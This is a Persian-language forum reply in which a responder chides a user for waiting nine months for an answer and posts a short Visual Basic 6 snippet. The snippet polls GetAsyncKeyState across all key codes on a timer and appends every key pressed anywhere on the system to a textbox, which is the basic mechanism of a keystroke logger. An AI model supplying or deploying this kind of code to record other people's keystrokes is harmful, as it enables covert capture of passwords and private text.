نوشته شده توسط
roo.row
با سلام
9 ماه گذشت واقعا کسی نمی دونست ؟
با تشکر
دوست عزیز نیاز نبود 9 ماه منتظر پاسخ بقیه باشی....ی جستجو ساده میزنی کلی نمونه کد می امد برات
منم الان ی نمونه کد برات میذارم ولی باقیش با خودت
ی فرم باز کن یع تکس بذار و ی تایمر این کد هم استفاده کن مشکلت حل میشه
فقط باید دنبال کد کلید هایی مثل اف ها و شیفت و اینا باشی
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form_Load()
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub